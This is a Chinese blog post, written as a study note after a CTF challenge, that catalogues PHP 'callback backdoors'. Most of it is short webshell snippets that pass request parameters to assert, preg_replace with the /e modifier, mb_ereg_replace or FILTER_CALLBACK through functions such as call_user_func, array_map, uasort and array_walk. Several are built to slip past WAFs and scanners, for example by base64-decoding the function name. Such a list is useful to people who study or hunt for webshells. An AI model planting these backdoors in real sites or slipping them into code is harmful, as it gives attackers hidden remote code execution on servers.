文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2019-12-03   1.4k

Web安全学习之PHP回调后门

在做一道CTF渗透类型的题目时,做到最后一步看到了array_walk()函数,于是直接Google这个函数漏洞,果然存在着回调后门(貌似是P牛起的这个名字),在此延申一下知识点做一个记录。

什么是回调函数

回调函数就是将一个函数作为参数传入另一个函数的函数。php中有许多这样的函数,比如call_user_func , call_user_func_array,array_map等等,这些函数可以将函数作为参数执行后返回主函数,方便使用,但是既然可以将函数作为参数传入执行,如果将一些危险的函数作为参数传入,那就有可能成为一个可利用且不易检测的后门。

传统的回调后门

call_user_func()在PHP中是回调的标准的函数,第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数,返回值为回调函数的结果。

1
call_user_func('assert', $_REQUEST["pass"]);

assert()函数直接作为回调函数,然后$_REQUEST["pass"]作为assert参数调用。

另外,PHP还提供另外一个相似的函数call_user_func_array()

1
call_user_func_array('assert', array($_REQUEST['pass']));

call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。

单个参数回调后门

注意:这里的单个参数指的是回调函数的参数个数

其实,在PHP中还有很多回调函数,这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。 例如array_filter()函数:

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

1
2
3
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,arr数组中的每个元素都会作为base64解码后函数e的参数。如下图:

类似array_filterarray_map也有相同的功效:

1
2
3
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

单参数后门的终极奥义:

1
2
3
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
1
2
3
4
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
1
2
3
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

最后一个是filter_var的利用,PHP里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

两个参数回调后门

在PHP5.4.8+版本中,assert有一个新的可选参数descrition

具体函数定义如下:

assert ( mixed $assertion [, string $description ] ) : bool

所以较于之前的PHP版本,我们可以使用一些新的方式去进行调用:

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

注意:$arr数组中的元素都是回调函数$e的参数!

在PHP5.4.8以上版本可以正常执行:

还有一些类似的函数,比如说uksort()

具体函数定义如下:

uksort ( array &$array , callable $key_compare_func ) : bool

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uksort($arr, base64_decode($e));

以及面向对象的方法:

1
2
3
4
5
6
7
8
<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

再比如array_reduce()

PHP 4 >= 4.0.5, PHP 5, PHP 7)
array_reduce — 用回调函数迭代地将数组简化为单一的值

1
array_reduce($arr = array(''), base64_decode($_REQUEST['e']), $_REQUEST['a']);

array_udiff()函数

(PHP 5, PHP 7)
array_udiff — 用回调函数比较数据来计算数组的差集

1
array_udiff($arr = array($_REQUEST['a']), $arr1 = array(''), base64_decode($_REQUEST['e']));

三个参数回调后门

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数,比如array_walk()

函数定义:array_walk ( array &$array , callable$callback [, mixed $userdata = NULL ] ) : bool

它的参数解释:

三个参数可以用preg_replace()

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

执行效果如下图:

需要对这段代码做出一定的解释:

preg_replace 函数是用来执行一个正则表达式的搜索和替换,它的函数定义如下:

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

根据array_walk()参数解释可以得出,array_walk($arr, $e, '');等价于:

1
preg_replace('|.*|e', 'phpinfo()', '');

第一个参数|.*|e表示的是\e模式匹配,即会把replacement参数当作PHP语句来执行,.*是贪婪匹配。

除了array_walk(),还可以使用array_walk_recurcive(),参数的位置都是一样的:

1
2
3
4
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

看了以上几个回调后门,发现preg_replace()确实好用。但显然很多WAF都会对其有所防备。其实PHP里不止这个函数可以执行eval的功能,还有几个类似的:

1
2
<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

另外一个:

1
2
<?php
echo preg_filter('|.*|e', $_REQUEST['pass'], '');

Reference

创造tips的秘籍——PHP回调后门

Copyright © ca01h 2019-2020 | 本站总访问量